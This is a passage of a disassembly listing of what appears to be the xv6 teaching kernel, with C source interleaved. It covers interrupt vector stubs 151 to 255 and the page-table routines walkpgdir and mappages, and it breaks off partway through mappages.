pushl $151
80105f0c: 68 97 00 00 00 push $0x97
jmp alltraps
80105f11: e9 07 f5 ff ff jmp 8010541d <alltraps>
80105f16 <vector152>:
.globl vector152
vector152:
pushl $0
80105f16: 6a 00 push $0x0
pushl $152
80105f18: 68 98 00 00 00 push $0x98
jmp alltraps
80105f1d: e9 fb f4 ff ff jmp 8010541d <alltraps>
80105f22 <vector153>:
.globl vector153
vector153:
pushl $0
80105f22: 6a 00 push $0x0
pushl $153
80105f24: 68 99 00 00 00 push $0x99
jmp alltraps
80105f29: e9 ef f4 ff ff jmp 8010541d <alltraps>
80105f2e <vector154>:
.globl vector154
vector154:
pushl $0
80105f2e: 6a 00 push $0x0
pushl $154
80105f30: 68 9a 00 00 00 push $0x9a
jmp alltraps
80105f35: e9 e3 f4 ff ff jmp 8010541d <alltraps>
80105f3a <vector155>:
.globl vector155
vector155:
pushl $0
80105f3a: 6a 00 push $0x0
pushl $155
80105f3c: 68 9b 00 00 00 push $0x9b
jmp alltraps
80105f41: e9 d7 f4 ff ff jmp 8010541d <alltraps>
80105f46 <vector156>:
.globl vector156
vector156:
pushl $0
80105f46: 6a 00 push $0x0
pushl $156
80105f48: 68 9c 00 00 00 push $0x9c
jmp alltraps
80105f4d: e9 cb f4 ff ff jmp 8010541d <alltraps>
80105f52 <vector157>:
.globl vector157
vector157:
pushl $0
80105f52: 6a 00 push $0x0
pushl $157
80105f54: 68 9d 00 00 00 push $0x9d
jmp alltraps
80105f59: e9 bf f4 ff ff jmp 8010541d <alltraps>
80105f5e <vector158>:
.globl vector158
vector158:
pushl $0
80105f5e: 6a 00 push $0x0
pushl $158
80105f60: 68 9e 00 00 00 push $0x9e
jmp alltraps
80105f65: e9 b3 f4 ff ff jmp 8010541d <alltraps>
80105f6a <vector159>:
.globl vector159
vector159:
pushl $0
80105f6a: 6a 00 push $0x0
pushl $159
80105f6c: 68 9f 00 00 00 push $0x9f
jmp alltraps
80105f71: e9 a7 f4 ff ff jmp 8010541d <alltraps>
80105f76 <vector160>:
.globl vector160
vector160:
pushl $0
80105f76: 6a 00 push $0x0
pushl $160
80105f78: 68 a0 00 00 00 push $0xa0
jmp alltraps
80105f7d: e9 9b f4 ff ff jmp 8010541d <alltraps>
80105f82 <vector161>:
.globl vector161
vector161:
pushl $0
80105f82: 6a 00 push $0x0
pushl $161
80105f84: 68 a1 00 00 00 push $0xa1
jmp alltraps
80105f89: e9 8f f4 ff ff jmp 8010541d <alltraps>
80105f8e <vector162>:
.globl vector162
vector162:
pushl $0
80105f8e: 6a 00 push $0x0
pushl $162
80105f90: 68 a2 00 00 00 push $0xa2
jmp alltraps
80105f95: e9 83 f4 ff ff jmp 8010541d <alltraps>
80105f9a <vector163>:
.globl vector163
vector163:
pushl $0
80105f9a: 6a 00 push $0x0
pushl $163
80105f9c: 68 a3 00 00 00 push $0xa3
jmp alltraps
80105fa1: e9 77 f4 ff ff jmp 8010541d <alltraps>
80105fa6 <vector164>:
.globl vector164
vector164:
pushl $0
80105fa6: 6a 00 push $0x0
pushl $164
80105fa8: 68 a4 00 00 00 push $0xa4
jmp alltraps
80105fad: e9 6b f4 ff ff jmp 8010541d <alltraps>
80105fb2 <vector165>:
.globl vector165
vector165:
pushl $0
80105fb2: 6a 00 push $0x0
pushl $165
80105fb4: 68 a5 00 00 00 push $0xa5
jmp alltraps
80105fb9: e9 5f f4 ff ff jmp 8010541d <alltraps>
80105fbe <vector166>:
.globl vector166
vector166:
pushl $0
80105fbe: 6a 00 push $0x0
pushl $166
80105fc0: 68 a6 00 00 00 push $0xa6
jmp alltraps
80105fc5: e9 53 f4 ff ff jmp 8010541d <alltraps>
80105fca <vector167>:
.globl vector167
vector167:
pushl $0
80105fca: 6a 00 push $0x0
pushl $167
80105fcc: 68 a7 00 00 00 push $0xa7
jmp alltraps
80105fd1: e9 47 f4 ff ff jmp 8010541d <alltraps>
80105fd6 <vector168>:
.globl vector168
vector168:
pushl $0
80105fd6: 6a 00 push $0x0
pushl $168
80105fd8: 68 a8 00 00 00 push $0xa8
jmp alltraps
80105fdd: e9 3b f4 ff ff jmp 8010541d <alltraps>
80105fe2 <vector169>:
.globl vector169
vector169:
pushl $0
80105fe2: 6a 00 push $0x0
pushl $169
80105fe4: 68 a9 00 00 00 push $0xa9
jmp alltraps
80105fe9: e9 2f f4 ff ff jmp 8010541d <alltraps>
80105fee <vector170>:
.globl vector170
vector170:
pushl $0
80105fee: 6a 00 push $0x0
pushl $170
80105ff0: 68 aa 00 00 00 push $0xaa
jmp alltraps
80105ff5: e9 23 f4 ff ff jmp 8010541d <alltraps>
80105ffa <vector171>:
.globl vector171
vector171:
pushl $0
80105ffa: 6a 00 push $0x0
pushl $171
80105ffc: 68 ab 00 00 00 push $0xab
jmp alltraps
80106001: e9 17 f4 ff ff jmp 8010541d <alltraps>
80106006 <vector172>:
.globl vector172
vector172:
pushl $0
80106006: 6a 00 push $0x0
pushl $172
80106008: 68 ac 00 00 00 push $0xac
jmp alltraps
8010600d: e9 0b f4 ff ff jmp 8010541d <alltraps>
80106012 <vector173>:
.globl vector173
vector173:
pushl $0
80106012: 6a 00 push $0x0
pushl $173
80106014: 68 ad 00 00 00 push $0xad
jmp alltraps
80106019: e9 ff f3 ff ff jmp 8010541d <alltraps>
8010601e <vector174>:
.globl vector174
vector174:
pushl $0
8010601e: 6a 00 push $0x0
pushl $174
80106020: 68 ae 00 00 00 push $0xae
jmp alltraps
80106025: e9 f3 f3 ff ff jmp 8010541d <alltraps>
8010602a <vector175>:
.globl vector175
vector175:
pushl $0
8010602a: 6a 00 push $0x0
pushl $175
8010602c: 68 af 00 00 00 push $0xaf
jmp alltraps
80106031: e9 e7 f3 ff ff jmp 8010541d <alltraps>
80106036 <vector176>:
.globl vector176
vector176:
pushl $0
80106036: 6a 00 push $0x0
pushl $176
80106038: 68 b0 00 00 00 push $0xb0
jmp alltraps
8010603d: e9 db f3 ff ff jmp 8010541d <alltraps>
80106042 <vector177>:
.globl vector177
vector177:
pushl $0
80106042: 6a 00 push $0x0
pushl $177
80106044: 68 b1 00 00 00 push $0xb1
jmp alltraps
80106049: e9 cf f3 ff ff jmp 8010541d <alltraps>
8010604e <vector178>:
.globl vector178
vector178:
pushl $0
8010604e: 6a 00 push $0x0
pushl $178
80106050: 68 b2 00 00 00 push $0xb2
jmp alltraps
80106055: e9 c3 f3 ff ff jmp 8010541d <alltraps>
8010605a <vector179>:
.globl vector179
vector179:
pushl $0
8010605a: 6a 00 push $0x0
pushl $179
8010605c: 68 b3 00 00 00 push $0xb3
jmp alltraps
80106061: e9 b7 f3 ff ff jmp 8010541d <alltraps>
80106066 <vector180>:
.globl vector180
vector180:
pushl $0
80106066: 6a 00 push $0x0
pushl $180
80106068: 68 b4 00 00 00 push $0xb4
jmp alltraps
8010606d: e9 ab f3 ff ff jmp 8010541d <alltraps>
80106072 <vector181>:
.globl vector181
vector181:
pushl $0
80106072: 6a 00 push $0x0
pushl $181
80106074: 68 b5 00 00 00 push $0xb5
jmp alltraps
80106079: e9 9f f3 ff ff jmp 8010541d <alltraps>
8010607e <vector182>:
.globl vector182
vector182:
pushl $0
8010607e: 6a 00 push $0x0
pushl $182
80106080: 68 b6 00 00 00 push $0xb6
jmp alltraps
80106085: e9 93 f3 ff ff jmp 8010541d <alltraps>
8010608a <vector183>:
.globl vector183
vector183:
pushl $0
8010608a: 6a 00 push $0x0
pushl $183
8010608c: 68 b7 00 00 00 push $0xb7
jmp alltraps
80106091: e9 87 f3 ff ff jmp 8010541d <alltraps>
80106096 <vector184>:
.globl vector184
vector184:
pushl $0
80106096: 6a 00 push $0x0
pushl $184
80106098: 68 b8 00 00 00 push $0xb8
jmp alltraps
8010609d: e9 7b f3 ff ff jmp 8010541d <alltraps>
801060a2 <vector185>:
.globl vector185
vector185:
pushl $0
801060a2: 6a 00 push $0x0
pushl $185
801060a4: 68 b9 00 00 00 push $0xb9
jmp alltraps
801060a9: e9 6f f3 ff ff jmp 8010541d <alltraps>
801060ae <vector186>:
.globl vector186
vector186:
pushl $0
801060ae: 6a 00 push $0x0
pushl $186
801060b0: 68 ba 00 00 00 push $0xba
jmp alltraps
801060b5: e9 63 f3 ff ff jmp 8010541d <alltraps>
801060ba <vector187>:
.globl vector187
vector187:
pushl $0
801060ba: 6a 00 push $0x0
pushl $187
801060bc: 68 bb 00 00 00 push $0xbb
jmp alltraps
801060c1: e9 57 f3 ff ff jmp 8010541d <alltraps>
801060c6 <vector188>:
.globl vector188
vector188:
pushl $0
801060c6: 6a 00 push $0x0
pushl $188
801060c8: 68 bc 00 00 00 push $0xbc
jmp alltraps
801060cd: e9 4b f3 ff ff jmp 8010541d <alltraps>
801060d2 <vector189>:
.globl vector189
vector189:
pushl $0
801060d2: 6a 00 push $0x0
pushl $189
801060d4: 68 bd 00 00 00 push $0xbd
jmp alltraps
801060d9: e9 3f f3 ff ff jmp 8010541d <alltraps>
801060de <vector190>:
.globl vector190
vector190:
pushl $0
801060de: 6a 00 push $0x0
pushl $190
801060e0: 68 be 00 00 00 push $0xbe
jmp alltraps
801060e5: e9 33 f3 ff ff jmp 8010541d <alltraps>
801060ea <vector191>:
.globl vector191
vector191:
pushl $0
801060ea: 6a 00 push $0x0
pushl $191
801060ec: 68 bf 00 00 00 push $0xbf
jmp alltraps
801060f1: e9 27 f3 ff ff jmp 8010541d <alltraps>
801060f6 <vector192>:
.globl vector192
vector192:
pushl $0
801060f6: 6a 00 push $0x0
pushl $192
801060f8: 68 c0 00 00 00 push $0xc0
jmp alltraps
801060fd: e9 1b f3 ff ff jmp 8010541d <alltraps>
80106102 <vector193>:
.globl vector193
vector193:
pushl $0
80106102: 6a 00 push $0x0
pushl $193
80106104: 68 c1 00 00 00 push $0xc1
jmp alltraps
80106109: e9 0f f3 ff ff jmp 8010541d <alltraps>
8010610e <vector194>:
.globl vector194
vector194:
pushl $0
8010610e: 6a 00 push $0x0
pushl $194
80106110: 68 c2 00 00 00 push $0xc2
jmp alltraps
80106115: e9 03 f3 ff ff jmp 8010541d <alltraps>
8010611a <vector195>:
.globl vector195
vector195:
pushl $0
8010611a: 6a 00 push $0x0
pushl $195
8010611c: 68 c3 00 00 00 push $0xc3
jmp alltraps
80106121: e9 f7 f2 ff ff jmp 8010541d <alltraps>
80106126 <vector196>:
.globl vector196
vector196:
pushl $0
80106126: 6a 00 push $0x0
pushl $196
80106128: 68 c4 00 00 00 push $0xc4
jmp alltraps
8010612d: e9 eb f2 ff ff jmp 8010541d <alltraps>
80106132 <vector197>:
.globl vector197
vector197:
pushl $0
80106132: 6a 00 push $0x0
pushl $197
80106134: 68 c5 00 00 00 push $0xc5
jmp alltraps
80106139: e9 df f2 ff ff jmp 8010541d <alltraps>
8010613e <vector198>:
.globl vector198
vector198:
pushl $0
8010613e: 6a 00 push $0x0
pushl $198
80106140: 68 c6 00 00 00 push $0xc6
jmp alltraps
80106145: e9 d3 f2 ff ff jmp 8010541d <alltraps>
8010614a <vector199>:
.globl vector199
vector199:
pushl $0
8010614a: 6a 00 push $0x0
pushl $199
8010614c: 68 c7 00 00 00 push $0xc7
jmp alltraps
80106151: e9 c7 f2 ff ff jmp 8010541d <alltraps>
80106156 <vector200>:
.globl vector200
vector200:
pushl $0
80106156: 6a 00 push $0x0
pushl $200
80106158: 68 c8 00 00 00 push $0xc8
jmp alltraps
8010615d: e9 bb f2 ff ff jmp 8010541d <alltraps>
80106162 <vector201>:
.globl vector201
vector201:
pushl $0
80106162: 6a 00 push $0x0
pushl $201
80106164: 68 c9 00 00 00 push $0xc9
jmp alltraps
80106169: e9 af f2 ff ff jmp 8010541d <alltraps>
8010616e <vector202>:
.globl vector202
vector202:
pushl $0
8010616e: 6a 00 push $0x0
pushl $202
80106170: 68 ca 00 00 00 push $0xca
jmp alltraps
80106175: e9 a3 f2 ff ff jmp 8010541d <alltraps>
8010617a <vector203>:
.globl vector203
vector203:
pushl $0
8010617a: 6a 00 push $0x0
pushl $203
8010617c: 68 cb 00 00 00 push $0xcb
jmp alltraps
80106181: e9 97 f2 ff ff jmp 8010541d <alltraps>
80106186 <vector204>:
.globl vector204
vector204:
pushl $0
80106186: 6a 00 push $0x0
pushl $204
80106188: 68 cc 00 00 00 push $0xcc
jmp alltraps
8010618d: e9 8b f2 ff ff jmp 8010541d <alltraps>
80106192 <vector205>:
.globl vector205
vector205:
pushl $0
80106192: 6a 00 push $0x0
pushl $205
80106194: 68 cd 00 00 00 push $0xcd
jmp alltraps
80106199: e9 7f f2 ff ff jmp 8010541d <alltraps>
8010619e <vector206>:
.globl vector206
vector206:
pushl $0
8010619e: 6a 00 push $0x0
pushl $206
801061a0: 68 ce 00 00 00 push $0xce
jmp alltraps
801061a5: e9 73 f2 ff ff jmp 8010541d <alltraps>
801061aa <vector207>:
.globl vector207
vector207:
pushl $0
801061aa: 6a 00 push $0x0
pushl $207
801061ac: 68 cf 00 00 00 push $0xcf
jmp alltraps
801061b1: e9 67 f2 ff ff jmp 8010541d <alltraps>
801061b6 <vector208>:
.globl vector208
vector208:
pushl $0
801061b6: 6a 00 push $0x0
pushl $208
801061b8: 68 d0 00 00 00 push $0xd0
jmp alltraps
801061bd: e9 5b f2 ff ff jmp 8010541d <alltraps>
801061c2 <vector209>:
.globl vector209
vector209:
pushl $0
801061c2: 6a 00 push $0x0
pushl $209
801061c4: 68 d1 00 00 00 push $0xd1
jmp alltraps
801061c9: e9 4f f2 ff ff jmp 8010541d <alltraps>
801061ce <vector210>:
.globl vector210
vector210:
pushl $0
801061ce: 6a 00 push $0x0
pushl $210
801061d0: 68 d2 00 00 00 push $0xd2
jmp alltraps
801061d5: e9 43 f2 ff ff jmp 8010541d <alltraps>
801061da <vector211>:
.globl vector211
vector211:
pushl $0
801061da: 6a 00 push $0x0
pushl $211
801061dc: 68 d3 00 00 00 push $0xd3
jmp alltraps
801061e1: e9 37 f2 ff ff jmp 8010541d <alltraps>
801061e6 <vector212>:
.globl vector212
vector212:
pushl $0
801061e6: 6a 00 push $0x0
pushl $212
801061e8: 68 d4 00 00 00 push $0xd4
jmp alltraps
801061ed: e9 2b f2 ff ff jmp 8010541d <alltraps>
801061f2 <vector213>:
.globl vector213
vector213:
pushl $0
801061f2: 6a 00 push $0x0
pushl $213
801061f4: 68 d5 00 00 00 push $0xd5
jmp alltraps
801061f9: e9 1f f2 ff ff jmp 8010541d <alltraps>
801061fe <vector214>:
.globl vector214
vector214:
pushl $0
801061fe: 6a 00 push $0x0
pushl $214
80106200: 68 d6 00 00 00 push $0xd6
jmp alltraps
80106205: e9 13 f2 ff ff jmp 8010541d <alltraps>
8010620a <vector215>:
.globl vector215
vector215:
pushl $0
8010620a: 6a 00 push $0x0
pushl $215
8010620c: 68 d7 00 00 00 push $0xd7
jmp alltraps
80106211: e9 07 f2 ff ff jmp 8010541d <alltraps>
80106216 <vector216>:
.globl vector216
vector216:
pushl $0
80106216: 6a 00 push $0x0
pushl $216
80106218: 68 d8 00 00 00 push $0xd8
jmp alltraps
8010621d: e9 fb f1 ff ff jmp 8010541d <alltraps>
80106222 <vector217>:
.globl vector217
vector217:
pushl $0
80106222: 6a 00 push $0x0
pushl $217
80106224: 68 d9 00 00 00 push $0xd9
jmp alltraps
80106229: e9 ef f1 ff ff jmp 8010541d <alltraps>
8010622e <vector218>:
.globl vector218
vector218:
pushl $0
8010622e: 6a 00 push $0x0
pushl $218
80106230: 68 da 00 00 00 push $0xda
jmp alltraps
80106235: e9 e3 f1 ff ff jmp 8010541d <alltraps>
8010623a <vector219>:
.globl vector219
vector219:
pushl $0
8010623a: 6a 00 push $0x0
pushl $219
8010623c: 68 db 00 00 00 push $0xdb
jmp alltraps
80106241: e9 d7 f1 ff ff jmp 8010541d <alltraps>
80106246 <vector220>:
.globl vector220
vector220:
pushl $0
80106246: 6a 00 push $0x0
pushl $220
80106248: 68 dc 00 00 00 push $0xdc
jmp alltraps
8010624d: e9 cb f1 ff ff jmp 8010541d <alltraps>
80106252 <vector221>:
.globl vector221
vector221:
pushl $0
80106252: 6a 00 push $0x0
pushl $221
80106254: 68 dd 00 00 00 push $0xdd
jmp alltraps
80106259: e9 bf f1 ff ff jmp 8010541d <alltraps>
8010625e <vector222>:
.globl vector222
vector222:
pushl $0
8010625e: 6a 00 push $0x0
pushl $222
80106260: 68 de 00 00 00 push $0xde
jmp alltraps
80106265: e9 b3 f1 ff ff jmp 8010541d <alltraps>
8010626a <vector223>:
.globl vector223
vector223:
pushl $0
8010626a: 6a 00 push $0x0
pushl $223
8010626c: 68 df 00 00 00 push $0xdf
jmp alltraps
80106271: e9 a7 f1 ff ff jmp 8010541d <alltraps>
80106276 <vector224>:
.globl vector224
vector224:
pushl $0
80106276: 6a 00 push $0x0
pushl $224
80106278: 68 e0 00 00 00 push $0xe0
jmp alltraps
8010627d: e9 9b f1 ff ff jmp 8010541d <alltraps>
80106282 <vector225>:
.globl vector225
vector225:
pushl $0
80106282: 6a 00 push $0x0
pushl $225
80106284: 68 e1 00 00 00 push $0xe1
jmp alltraps
80106289: e9 8f f1 ff ff jmp 8010541d <alltraps>
8010628e <vector226>:
.globl vector226
vector226:
pushl $0
8010628e: 6a 00 push $0x0
pushl $226
80106290: 68 e2 00 00 00 push $0xe2
jmp alltraps
80106295: e9 83 f1 ff ff jmp 8010541d <alltraps>
8010629a <vector227>:
.globl vector227
vector227:
pushl $0
8010629a: 6a 00 push $0x0
pushl $227
8010629c: 68 e3 00 00 00 push $0xe3
jmp alltraps
801062a1: e9 77 f1 ff ff jmp 8010541d <alltraps>
801062a6 <vector228>:
.globl vector228
vector228:
pushl $0
801062a6: 6a 00 push $0x0
pushl $228
801062a8: 68 e4 00 00 00 push $0xe4
jmp alltraps
801062ad: e9 6b f1 ff ff jmp 8010541d <alltraps>
801062b2 <vector229>:
.globl vector229
vector229:
pushl $0
801062b2: 6a 00 push $0x0
pushl $229
801062b4: 68 e5 00 00 00 push $0xe5
jmp alltraps
801062b9: e9 5f f1 ff ff jmp 8010541d <alltraps>
801062be <vector230>:
.globl vector230
vector230:
pushl $0
801062be: 6a 00 push $0x0
pushl $230
801062c0: 68 e6 00 00 00 push $0xe6
jmp alltraps
801062c5: e9 53 f1 ff ff jmp 8010541d <alltraps>
801062ca <vector231>:
.globl vector231
vector231:
pushl $0
801062ca: 6a 00 push $0x0
pushl $231
801062cc: 68 e7 00 00 00 push $0xe7
jmp alltraps
801062d1: e9 47 f1 ff ff jmp 8010541d <alltraps>
801062d6 <vector232>:
.globl vector232
vector232:
pushl $0
801062d6: 6a 00 push $0x0
pushl $232
801062d8: 68 e8 00 00 00 push $0xe8
jmp alltraps
801062dd: e9 3b f1 ff ff jmp 8010541d <alltraps>
801062e2 <vector233>:
.globl vector233
vector233:
pushl $0
801062e2: 6a 00 push $0x0
pushl $233
801062e4: 68 e9 00 00 00 push $0xe9
jmp alltraps
801062e9: e9 2f f1 ff ff jmp 8010541d <alltraps>
801062ee <vector234>:
.globl vector234
vector234:
pushl $0
801062ee: 6a 00 push $0x0
pushl $234
801062f0: 68 ea 00 00 00 push $0xea
jmp alltraps
801062f5: e9 23 f1 ff ff jmp 8010541d <alltraps>
801062fa <vector235>:
.globl vector235
vector235:
pushl $0
801062fa: 6a 00 push $0x0
pushl $235
801062fc: 68 eb 00 00 00 push $0xeb
jmp alltraps
80106301: e9 17 f1 ff ff jmp 8010541d <alltraps>
80106306 <vector236>:
.globl vector236
vector236:
pushl $0
80106306: 6a 00 push $0x0
pushl $236
80106308: 68 ec 00 00 00 push $0xec
jmp alltraps
8010630d: e9 0b f1 ff ff jmp 8010541d <alltraps>
80106312 <vector237>:
.globl vector237
vector237:
pushl $0
80106312: 6a 00 push $0x0
pushl $237
80106314: 68 ed 00 00 00 push $0xed
jmp alltraps
80106319: e9 ff f0 ff ff jmp 8010541d <alltraps>
8010631e <vector238>:
.globl vector238
vector238:
pushl $0
8010631e: 6a 00 push $0x0
pushl $238
80106320: 68 ee 00 00 00 push $0xee
jmp alltraps
80106325: e9 f3 f0 ff ff jmp 8010541d <alltraps>
8010632a <vector239>:
.globl vector239
vector239:
pushl $0
8010632a: 6a 00 push $0x0
pushl $239
8010632c: 68 ef 00 00 00 push $0xef
jmp alltraps
80106331: e9 e7 f0 ff ff jmp 8010541d <alltraps>
80106336 <vector240>:
.globl vector240
vector240:
pushl $0
80106336: 6a 00 push $0x0
pushl $240
80106338: 68 f0 00 00 00 push $0xf0
jmp alltraps
8010633d: e9 db f0 ff ff jmp 8010541d <alltraps>
80106342 <vector241>:
.globl vector241
vector241:
pushl $0
80106342: 6a 00 push $0x0
pushl $241
80106344: 68 f1 00 00 00 push $0xf1
jmp alltraps
80106349: e9 cf f0 ff ff jmp 8010541d <alltraps>
8010634e <vector242>:
.globl vector242
vector242:
pushl $0
8010634e: 6a 00 push $0x0
pushl $242
80106350: 68 f2 00 00 00 push $0xf2
jmp alltraps
80106355: e9 c3 f0 ff ff jmp 8010541d <alltraps>
8010635a <vector243>:
.globl vector243
vector243:
pushl $0
8010635a: 6a 00 push $0x0
pushl $243
8010635c: 68 f3 00 00 00 push $0xf3
jmp alltraps
80106361: e9 b7 f0 ff ff jmp 8010541d <alltraps>
80106366 <vector244>:
.globl vector244
vector244:
pushl $0
80106366: 6a 00 push $0x0
pushl $244
80106368: 68 f4 00 00 00 push $0xf4
jmp alltraps
8010636d: e9 ab f0 ff ff jmp 8010541d <alltraps>
80106372 <vector245>:
.globl vector245
vector245:
pushl $0
80106372: 6a 00 push $0x0
pushl $245
80106374: 68 f5 00 00 00 push $0xf5
jmp alltraps
80106379: e9 9f f0 ff ff jmp 8010541d <alltraps>
8010637e <vector246>:
.globl vector246
vector246:
pushl $0
8010637e: 6a 00 push $0x0
pushl $246
80106380: 68 f6 00 00 00 push $0xf6
jmp alltraps
80106385: e9 93 f0 ff ff jmp 8010541d <alltraps>
8010638a <vector247>:
.globl vector247
vector247:
pushl $0
8010638a: 6a 00 push $0x0
pushl $247
8010638c: 68 f7 00 00 00 push $0xf7
jmp alltraps
80106391: e9 87 f0 ff ff jmp 8010541d <alltraps>
80106396 <vector248>:
.globl vector248
vector248:
pushl $0
80106396: 6a 00 push $0x0
pushl $248
80106398: 68 f8 00 00 00 push $0xf8
jmp alltraps
8010639d: e9 7b f0 ff ff jmp 8010541d <alltraps>
801063a2 <vector249>:
.globl vector249
vector249:
pushl $0
801063a2: 6a 00 push $0x0
pushl $249
801063a4: 68 f9 00 00 00 push $0xf9
jmp alltraps
801063a9: e9 6f f0 ff ff jmp 8010541d <alltraps>
801063ae <vector250>:
.globl vector250
vector250:
pushl $0
801063ae: 6a 00 push $0x0
pushl $250
801063b0: 68 fa 00 00 00 push $0xfa
jmp alltraps
801063b5: e9 63 f0 ff ff jmp 8010541d <alltraps>
801063ba <vector251>:
.globl vector251
vector251:
pushl $0
801063ba: 6a 00 push $0x0
pushl $251
801063bc: 68 fb 00 00 00 push $0xfb
jmp alltraps
801063c1: e9 57 f0 ff ff jmp 8010541d <alltraps>
801063c6 <vector252>:
.globl vector252
vector252:
pushl $0
801063c6: 6a 00 push $0x0
pushl $252
801063c8: 68 fc 00 00 00 push $0xfc
jmp alltraps
801063cd: e9 4b f0 ff ff jmp 8010541d <alltraps>
801063d2 <vector253>:
.globl vector253
vector253:
pushl $0
801063d2: 6a 00 push $0x0
pushl $253
801063d4: 68 fd 00 00 00 push $0xfd
jmp alltraps
801063d9: e9 3f f0 ff ff jmp 8010541d <alltraps>
801063de <vector254>:
.globl vector254
vector254:
pushl $0
801063de: 6a 00 push $0x0
pushl $254
801063e0: 68 fe 00 00 00 push $0xfe
jmp alltraps
801063e5: e9 33 f0 ff ff jmp 8010541d <alltraps>
801063ea <vector255>:
.globl vector255
vector255:
pushl $0
801063ea: 6a 00 push $0x0
pushl $255
801063ec: 68 ff 00 00 00 push $0xff
jmp alltraps
801063f1: e9 27 f0 ff ff jmp 8010541d <alltraps>
801063f6: 66 90 xchg %ax,%ax
801063f8: 66 90 xchg %ax,%ax
801063fa: 66 90 xchg %ax,%ax
801063fc: 66 90 xchg %ax,%ax
801063fe: 66 90 xchg %ax,%ax
80106400 <walkpgdir>:
// Return the address of the PTE in page table pgdir
// that corresponds to virtual address va. If alloc!=0,
// create any required page table pages.
static pte_t *
walkpgdir(pde_t *pgdir, const void *va, int alloc)
{
80106400: 55 push %ebp
80106401: 89 e5 mov %esp,%ebp
80106403: 57 push %edi
80106404: 56 push %esi
80106405: 89 d6 mov %edx,%esi
pde_t *pde;
pte_t *pgtab;
pde = &pgdir[PDX(va)];
80106407: c1 ea 16 shr $0x16,%edx
{
8010640a: 53 push %ebx
pde = &pgdir[PDX(va)];
8010640b: 8d 3c 90 lea (%eax,%edx,4),%edi
{
8010640e: 83 ec 1c sub $0x1c,%esp
if(*pde & PTE_P){
80106411: 8b 1f mov (%edi),%ebx
80106413: f6 c3 01 test $0x1,%bl
80106416: 74 28 je 80106440 <walkpgdir+0x40>
pgtab = (pte_t*)P2V(PTE_ADDR(*pde));
80106418: 81 e3 00 f0 ff ff and $0xfffff000,%ebx
8010641e: 81 c3 00 00 00 80 add $0x80000000,%ebx
// The permissions here are overly generous, but they can
// be further restricted by the permissions in the page table
// entries, if necessary.
*pde = V2P(pgtab) | PTE_P | PTE_W | PTE_U;
}
return &pgtab[PTX(va)];
80106424: c1 ee 0a shr $0xa,%esi
}
80106427: 83 c4 1c add $0x1c,%esp
return &pgtab[PTX(va)];
8010642a: 89 f2 mov %esi,%edx
8010642c: 81 e2 fc 0f 00 00 and $0xffc,%edx
80106432: 8d 04 13 lea (%ebx,%edx,1),%eax
}
80106435: 5b pop %ebx
80106436: 5e pop %esi
80106437: 5f pop %edi
80106438: 5d pop %ebp
80106439: c3 ret
8010643a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
if(!alloc || (pgtab = (pte_t*)kalloc()) == 0)
80106440: 85 c9 test %ecx,%ecx
80106442: 74 34 je 80106478 <walkpgdir+0x78>
80106444: e8 47 c0 ff ff call 80102490 <kalloc>
80106449: 85 c0 test %eax,%eax
8010644b: 89 c3 mov %eax,%ebx
8010644d: 74 29 je 80106478 <walkpgdir+0x78>
memset(pgtab, 0, PGSIZE);
8010644f: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp)
80106456: 00
80106457: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
8010645e: 00
8010645f: 89 04 24 mov %eax,(%esp)
80106462: e8 09 de ff ff call 80104270 <memset>
*pde = V2P(pgtab) | PTE_P | PTE_W | PTE_U;
80106467: 8d 83 00 00 00 80 lea -0x80000000(%ebx),%eax
8010646d: 83 c8 07 or $0x7,%eax
80106470: 89 07 mov %eax,(%edi)
80106472: eb b0 jmp 80106424 <walkpgdir+0x24>
80106474: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
}
80106478: 83 c4 1c add $0x1c,%esp
return 0;
8010647b: 31 c0 xor %eax,%eax
}
8010647d: 5b pop %ebx
8010647e: 5e pop %esi
8010647f: 5f pop %edi
80106480: 5d pop %ebp
80106481: c3 ret
80106482: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80106489: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80106490 <mappages>:
// Create PTEs for virtual addresses starting at va that refer to
// physical addresses starting at pa. va and size might not
// be page-aligned.
static int
mappages(pde_t *pgdir, void *va, uint size, uint pa, int perm)
{
80106490: 55 push %ebp
80106491: 89 e5 mov %esp,%ebp
80106493: 57 push %edi
80106494: 56 push %esi
80106495: 53 push %ebx
char *a, *last;
pte_t *pte;
a = (char*)PGROUNDDOWN((uint)va);
80106496: 89 d3 mov %edx,%ebx
{
80106498: 83 ec 1c sub $0x1c,%esp
8010649b: 8b 7d 08 mov 0x8(%ebp),%edi
a = (char*)PGROUNDDOWN((uint)va);
8010649e: 81 e3 00 f0 ff ff and $0xfffff000,%ebx
{
801064a4: 89 45 e0 mov %eax,-0x20(%ebp)
last = (char*)PGROUNDDOWN(((uint)va) + size - 1);
801064a7: 8d 44 0a ff lea -0x1(%edx,%ecx,1),%eax
801064ab: 89 45 e4 mov %eax,-0x1c(%ebp)
for(;;){
if((pte = walkpgdir(pgdir, a, 1)) == 0)
return -1;
if(*pte & PTE_P)
panic("remap");
*pte = pa | perm | PTE_P;
801064ae: 83 4d 0c 01 orl $0x1,0xc(%ebp)
last = (char*)PGROUNDDOWN(((uint)va) + size - 1);
801064b2: 81 65 e4 00 f0 ff ff andl $0xfffff000,-0x1c(%ebp)
801064b9: 29 df sub %ebx,%edi
801064bb: eb 18 jmp 801064d5 <mappages+0x45>
801064bd: 8d 76 00 lea 0x0(%esi),%esi
if(*pte & PTE_P)
801064c0: f6 00 01 testb $0x1,(%eax)
801064c3: 75 3d jne 80106502 <mappages+0x72>
*pte = pa | perm | PTE_P;
801064c5: 0b 75 0c or 0xc(%ebp),%esi
if(a == last)
801064c8: 3b 5d e4 cmp -0x1c(%ebp),%ebx
*pte = pa | perm | PTE_P;
801064cb: 89 30 mov %esi,(%eax)
if(a == last)
801064cd: 74 29 je 801064f8 <mappages+0x68>
break;
a += PGSIZE;
801064cf: 81 c3 00 10 00 00 add $0x1000,%ebx
if((pte = walkpgdir(pgdir, a, 1)) == 0)
801064d5: 8b 45 e0 mov -0x20(%ebp),%eax
801064d8: b9 01 00 00 00 mov $0x1,%ecx
801064dd: 89 da mov %ebx,%edx
801064df: 8d 34 3b lea (%ebx,%edi,1),%esi
801064e2: e8 19 ff ff ff call 80106400 <walkpgdir>
801064e7: 85 c0 test %eax,%eax
801064e9: 75 d5 jne 801064c0 <mappages+0x30>
pa += PGSIZE;
}
return 0;
}
